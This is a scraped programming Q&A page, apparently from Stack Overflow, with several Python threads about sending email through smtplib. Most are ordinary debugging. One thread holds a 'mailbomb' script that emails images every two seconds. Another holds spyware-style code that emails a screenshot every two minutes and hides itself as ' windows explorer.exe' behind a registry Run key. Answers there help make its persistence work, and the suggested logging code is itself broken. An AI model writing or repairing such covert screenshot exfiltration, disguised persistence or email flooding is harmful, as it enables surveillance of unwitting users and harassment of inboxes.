I'm trying to make a script that sends an e-mail once it is detected that I copy a file in a specified folder, using some parts of code that I found on internet researching and now I'm stuck with this error.
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os.path
class Watcher:
DIRECTORY_TO_WATCH = "/Documents/ReportesSemanales"
def __init__(self):
self.observer = Observer()
def run(self):
event_handler = Handler()
self.observer.schedule(event_handler, self.DIRECTORY_TO_WATCH, recursive=True)
self.observer.start()
try:
while True:
time.sleep(5)
except:
self.observer.stop()
print ("Error")
self.observer.join()
class Handler(FileSystemEventHandler):
#staticmethod
def on_any_event(event):
if event.is_directory:
return None
elif event.event_type == 'created':
# Take any action here when a file is first created.
def send_email(email_recipient,
email_subject,
email_message,
attachment_location = ''):
email_sender = 'MyUser#domain.com'
msg = MIMEMultipart()
msg['From'] = email_sender
msg['To'] = email_recipient
msg['Subject'] = email_subject
msg.attach(MIMEText(email_message, 'plain'))
if attachment_location != '':
filename = os.path.basename(attachment_location)
attachment = open(attachment_location, "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload(attachment.read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',
"attachment; filename= %s" % filename)
msg.attach(part)
try:
server = smtplib.SMTP('smtp.office365.com', 587)
server.ehlo()
server.starttls()
server.login('MyUser#domain.com', 'MyPassword')
text = msg.as_string()
server.sendmail(email_sender, email_recipient, text)
print('email sent')
server.quit()
except:
print("SMPT server connection error")
return True
send_email('MyUser#hotmail.com',
'Happy New Year',
'We love Outlook',
'/ReportesSemanales/Bitacora-Diaria.xlsx')
print("Received created event - %s." % event.src_path)
elif event.event_type == 'modified':
# Taken any action here when a file is modified.
print("Received modified event - %s." % event.src_path)
if __name__ == '__main__':
w = Watcher()
w.run()
I already installed watchdog api and when I run the script, I receive the error in terminal:
Traceback (most recent call last):
File "SendEmail.py", line 90, in <module>
w.run()
File "SendEmail.py", line 22, in run
self.observer.start()
File "C:\Users\MyUser\AppData\Local\Programs\Python\Python38-32\lib\site-packages\watchdog\observers\api.py", line 260, in start
emitter.start()
File "C:\Users\MyUser\AppData\Local\Programs\Python\Python38-32\lib\site-packages\watchdog\utils\__init__.py", line 110, in start
self.on_thread_start()
File "C:\Users\MyUser\AppData\Local\Programs\Python\Python38-32\lib\site-packages\watchdog\observers\read_directory_changes.py", line 66, in on_thread_start
self._handle = get_directory_handle(self.watch.path)
File "C:\Users\MyUser\AppData\Local\Programs\Python\Python38-32\lib\site-packages\watchdog\observers\winapi.py", line 307, in get_directory_handle
return CreateFileW(path, FILE_LIST_DIRECTORY, WATCHDOG_FILE_SHARE_FLAGS,
File "C:\Users\MyUser\AppData\Local\Programs\Python\Python38-32\lib\site-packages\watchdog\observers\winapi.py", line 113, in _errcheck_handle
raise ctypes.WinError()
FileNotFoundError: [WinError 3] The system cannot find the path specified.
How can I solve this?
Specifications:
OS: Windows 10
Python Version: Python 3.8.3
Editing: Visual Studio
This line:
FileNotFoundError: [WinError 3] The system cannot find the path specified.
Means just what it says: somewhere during the execution of the python script, one of the paths that you specified in your code was not found.
This is commonly caused by typos in path definitions. In your case, it might be caused by mistakenly using forward slashes ( / ) in your paths instead of backslashes, ( \ ). While forward slashes are used in Linux / UNIX systems, Windows uses backslashes.
Try changing this line:
DIRECTORY_TO_WATCH = "/Documents/ReportesSemanales"
to this:
DIRECTORY_TO_WATCH = "\Documents\ReportesSemanales"
And do the same for the send_email() function call, where you specify the path to the .xlsx file. If you still have errors, check if you have any typos in the path, and whether the folders and files that you specified actually exist.
Related
I'm working on a mailbomb program that randomizes images from a given directory. The code looks like this:
import schedule, time, smtplib, random, os, sys, socket
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
# Image randomization still under development
def message(subject="Python Notification",
text="", img="", attachment=None):
msg = MIMEMultipart()
msg['Subject'] = subject
msg.attach(MIMEText(text))
if type(img) is not list:
img=[img]
for one_img in img:
path = "C:\\Users\\JoeBiden\\Desktop\\PJ\\AMP\\ImgLib"
files=os.listdir(path)
randPic=random.choice(files)
img_data = open(randPic, 'rb').read()
msg.attach(MIMEImage(img_data,
name=os.path.basename(img_data)))
if attachment is not None:
if type(attachment) is not list:
attachment = [attachment]
for one_attachment in attachment:
with open(one_attachment, 'rb') as f:
file = MimeApplication(
f.read(),
name=os.path.basename(one_attachment)
)
file['Content-Disposition'] = f'attachment;\
filename="{os.path.basename(one_attachment)}"'
msg-attach(file)
return msg
def mail():
smtp=smtplib.SMTP('smtp.gmail.com', 587)
smtp.ehlo()
smtp.starttls()
smtp.login('umomghaey#gmail.com', 'PEEENIS')
msg = message("Pizza", "Pizza", r"C:\Users\JoeBiden\Desktop\PJ\AMP\ImgLib")
to = ("cheeseburger#gmail.com")
smtp.sendmail(from_addr="beesechurger#gmail.com",
to_addrs=to, msg=msg.as_string())
smtp.quit()
schedule.every(2).seconds.do(mail)
while True:
schedule.run_pending()
time.sleep(1)
When running in CMD I get the following error:
ret = self.job_func()
File "C:\Users\JoeBiden\Desktop\PJ\AMP\MailRandomizer.py", line 46, in mail
msg = message("Pizza", "Pizza", r"C:\Users\JoeBiden\Desktop\PJ\AMP\ImgLib")
File "C:\Users\JoeBiden\Desktop\PJ\AMP\MailRandomizer.py", line 22, in message
img_data = open(randPic, 'rb').read()
FileNotFoundError: [Errno 2] No such file or directory: 'RandImageFile.jpg'
To me the error seems paradoxical since it clearly shows me that it has found one of the desired files in the correct directory. That being the 'RandImageFile.jpg'
os.listdir() only gives you the filenames, so try replacing
files=os.listdir(path)
with something like
files = [os.path.join(path, f) for f in os.listdir(path)]
I am using that startup regedit code(python 3) but not working
startup code:
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
Full code is here
I have made a python script that sends a screenshot after a specific interval of time. Now I want to add the persistency (program start at startup also) to that program. I have added the startup statement to my program, but it is not working.
import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666#gmail.com", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666#gmail.com"
msg['To'] = "zainali90900666#gmail.com"
while True:
snapshot = ImageGrab.grab()
# Using png because it cannot write mode RGBA as JPEG
file = "scr.png"
snapshot.save(file)
# Opening the image file and then attaching it
with open(file, 'rb') as f:
img = MIMEImage(f.read())
img.add_header('Content-Disposition', 'attachment', filename=file)
msg.attach(img)
os.remove(file)
s.sendmail("zainali90900666#gmail.com", "zainali90900666#gmail.com", msg.as_string())
# Change this value to your liking
time.sleep(120)
Your become_persistent() is never called.
You need to unindent this line:
self.become_persistent()
Would you try this code instead? I modified the code to log all errors to a file and put it on your desktop. Look at the file and tell me what you see in the comments. Once you get back to me I will update this answer to actually be an answer
import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self
path = 'path2 = R"C:\Users\$USERNAME\Desktop\log.txt"'
full_path = os.path.expanduser(path)
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666#gmail.com", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666#gmail.com"
msg['To'] = "zainali90900666#gmail.com"
try:
while True:
snapshot = ImageGrab.grab()
# Using png because it cannot write mode RGBA as JPEG
file = "scr.png"
snapshot.save(file)
# Opening the image file and then attaching it
with open(file, 'rb') as f:
img = MIMEImage(f.read())
img.add_header('Content-Disposition', 'attachment', filename=file)
msg.attach(img)
os.remove(file)
s.sendmail("zainali90900666#gmail.com", "zainali90900666#gmail.com", msg.as_string())
# Change this value to your liking
time.sleep(120)
except Exception as e:
with open(full_path, 'a') as f:
f.append(f"{type(e)}: {e}")
To add it to start up you need to add a shortcut of the exe file to the start up folder:
Click Win+R at the same time on your keyboard
Type shell:startup
Drag and drop your python file onto the folder that opened.
Or you could try this solution in the code:
https://stackoverflow.com/a/45617568/13156681
I have a script that runs main() and at the end I want to send the contents it has by e-mail. I don't want to write new files nor anything. Just have the original script be unmodified and at the end just send the contents of what it printed. Ideal code:
main()
send_mail()
I tried this:
def main():
print('HELLOWORLD')
def send_email(subject='subject', message='', destination='me#gmail.com', password_path=None):
from socket import gethostname
from email.message import EmailMessage
import smtplib
import json
import sys
server = smtplib.SMTP('smtp.gmail.com', 587)
smtplib.stdout = sys.stdout # <<<<<-------- why doesn't it work?
server.starttls()
with open(password_path) as f:
config = json.load(f)
server.login('me#gmail.com', config['password'])
# craft message
msg = EmailMessage()
#msg.set_content(message)
msg['Subject'] = subject
msg['From'] = 'me#gmail.com'
msg['To'] = destination
# send msg
server.send_message(msg)
if __name__ == '__main__':
main()
send_mail()
but it doesn't work.
I don't want to write other files or change the original python print statements. How to do this?
I tried this:
def get_stdout():
import sys
print('a')
print('b')
print('c')
repr(sys.stdout)
contents = ""
#with open('some_file.txt') as f:
#with open(sys.stdout) as f:
for line in sys.stdout.readlines():
contents += line
print(contents)
but it does not let me read sys.stdout because it says its not readable. How can I open it in readable or change it to readable in the first place?
I checked all of the following links but none helped:
How to send output from a python script to an email address
https://www.quora.com/How-can-I-send-an-output-from-a-Python-script-to-an-email-address
https://bytes.com/topic/python/answers/165835-email-module-redirecting-stdout
Redirect stdout to a file in Python?
How to handle both `with open(...)` and `sys.stdout` nicely?
Capture stdout from a script?
To send e-mails I am using:
def send_email(subject, message, destination, password_path=None):
from socket import gethostname
from email.message import EmailMessage
import smtplib
import json
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
with open(password_path) as f:
config = json.load(f)
server.login('me123#gmail.com', config['password'])
# craft message
msg = EmailMessage()
message = f'{message}\nSend from Hostname: {gethostname()}'
msg.set_content(message)
msg['Subject'] = subject
msg['From'] = 'me123#gmail.com'
msg['To'] = destination
# send msg
server.send_message(msg)
note I have my password in a json file using an app password as suggested by this answer https://stackoverflow.com/a/60996409/3167448.
using this to collect the contents from stdout by writing it to a custom stdout file using the builtin function print:
import sys
from pathlib import Path
def my_print(*args, filepath='~/my_stdout.txt'):
filepath = Path(filepath).expanduser()
# do normal print
__builtins__['print'](*args, file=sys.__stdout__) #prints to terminal
# open my stdout file in update mode
with open(filepath, "a+") as f:
# save the content we are trying to print
__builtins__['print'](*args, file=f) #saves in a file
def collect_content_from_file(filepath):
filepath = Path(filepath).expanduser()
contents = ''
with open(filepath,'r') as f:
for line in f.readlines():
contents = contents + line
return contents
Note the a+ to be able to create the file if it already does NOT exist.
Note that if you want to delete the old contents of your custom my_stdout.txt you need to delete the file and check if it exists:
# remove my stdout if it exists
os.remove(Path('~/my_stdout.txt').expanduser()) if os.path.isfile(Path('~/my_stdout.txt').expanduser()) else None
The credits for the print code are from the answer here: How does one make an already opened file readable (e.g. sys.stdout)?
I am working on a python program that randomly selects a file from a directory and then sends it to you using the email.mimemodule. I am having a problem where I can choose the random file but I can't sent it due to this error:
File "C:\Users\Mihkel\Desktop\dnak.py", line 37, in sendmemeone
attachment =open(filename, 'rb')
TypeError: expected str, bytes or os.PathLike object, not list
Here is the code:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os
import random
path ='C:/Users/Mihkel/Desktop/memes'
files = os.listdir(path)
index = random.randrange(0, len(files))
print(files[index])
def send():
email_user = 'yeetbotmemes#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'Test'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Here is your very own dank meme of the day:'
msg.attach(MIMEText (body, 'plain'))
filename=files
attachment =open(filename, 'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment;
filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"MY PASSWORD")
server.sendmail(email_user,email_send,text)
server.quit()
I believe it is just getting the filename as the selected random choice, how could I get it to select the file itself?
EDIT: After making the changes recommended I am now getting this error:
File "C:\Users\Mihkel\Desktop\e8re.py", line 29, in send
part.add_header('Content-Disposition',"attachment; filename= "+filename)
TypeError: can only concatenate str (not "list") to str
Seems like this part is still taking in the list, how would I fix that?
You select a random file and then throw it away (well, you print it, then throw it away):
files = os.listdir(path)
index = random.randrange(0, len(files))
print(files[index])
(which BTW you can do with random.choice(files))
and when calling open you pass it the entire files list:
filename = files
attachment = open(filename, 'rb')
Instead, pass open the file you selected:
attachment = open(random.choice(files), 'rb')
But, this still wouldn't work since listdir only returns the filenames and not the full path, so you will need to get it back, preferably with os.path.join:
attachment = open(os.path.join(path, random.choice(files)), 'rb')
I'm using Watchdog to watch a directory for new .xml files being downloaded via ftplib on a time interval. When Watchdog see the file, on_created() triggers a function to process/parse the xml, but it seems that the file download hasn't completed yet causing an missing data error in the subsequent function.
I've added a time.sleep(1) before function is called which has alleviated the error, but adding a delay seems like an unreliable method in the real world. I'm wondering if there's a method similar to a promise function I can use vs. a delay. Or maybe I've completely misdiagnosed the issue and there's a simple answer? Open to any suggestion.
FYI... the files sizes can vary from roughly 100K to 4-5mg.
FTP Function
def download(f):
ftpt = ftplib.FTP(server)
ftpt.login(username, password)
ftpt.cwd(ftp_dir)
print 'Connected to FTP directory'
if f.startswith('TLC-EMAILUPDATE'):
if os.path.exists(dl_dir + f) == 0:
fhandle = open(os.path.join(dl_dir, f), 'wb')
print 'Getting ' + f
ftpt.retrbinary('RETR ' + f, fhandle.write)
fhandle.close()
elif os.path.exists(dl_dir + f) == 1:
print 'File', f, 'Already Exists, Skipping Download'
ftp = ftplib.FTP(server)
ftp.login(username, password)
ftp.cwd(ftp_dir)
infiles = ftp.nlst()
pool = Pool(4)
pool.map(download, in files)
Watchdog
def on_created(self, event):
self.processfile(event)
base = os.path.basename(event.src_path)
if base.startswith('TLC-EMAILUPDATE'):
print 'File for load report has been flagged'
xmldoc = event.src_path
if os.path.isfile(xmldoc) == 1:
print 'File download complete'
send_email(xmldoc)
Send Mail (with sleep)
The exception is thrown at the content variable where the parsing fails to read any data from the downloaded file.
def send_email(xmldoc):
time.sleep(2)
content = str(parse_xml.create_template(xmldoc))
msg = MIMEText(content, TEXT_SUBTYPE)
msg['Subject'] = EMAIL_SUBJECT
msg['From'] = EMAIL_SENDER
msg['To'] = listToStr(EMAIL_RECEIVERS)
try:
smtpObj = SMTP(GMAIL_SMTP, GMAIL_SMTP_PORT)
smtpObj.ehlo()
smtpObj.starttls()
smtpObj.ehlo()
smtpObj.login(user=EMAIL_SENDER, password=EMAIL_PASS)
smtpObj.sendmail(EMAIL_SENDER, EMAIL_RECEIVERS, msg.as_string())
smtpObj.quit()
print 'Email has been sent to %s' % EMAIL_RECEIVERS
except SMTPException as error:
print 'Error: unable to send email : {err}'.format(err=error)
Simple answer: switch to monitoring the CLOSE_WRITE event. Alas Watchdog doesn't support it directly. Either:
1) switch to pyinotify and use the following code -- Linux only, not OSX
2) use Watchdog with on_any_event()
pyinotify example source
import os, sys
import pyinotify
class VideoComplete(pyinotify.ProcessEvent):
def process_IN_CLOSE_WRITE(self, event):
sys.stdout.write(
'video complete: {}\n'.format(event.pathname)
)
sys.stdout.flush()
def main():
wm = pyinotify.WatchManager()
notifier = pyinotify.Notifier(
wm, default_proc_fun=VideoComplete(),
)
mask = pyinotify.ALL_EVENTS
path = os.path.expanduser('~/Downloads/incoming')
wm.add_watch(path, mask, rec=True, auto_add=True)
notifier.loop()
if __name__=='__main__':
main()
download a file
echo beer > ~/Downloads/incoming/beer.txt
output
video complete: /home/johnm/Downloads/incoming/beer.txt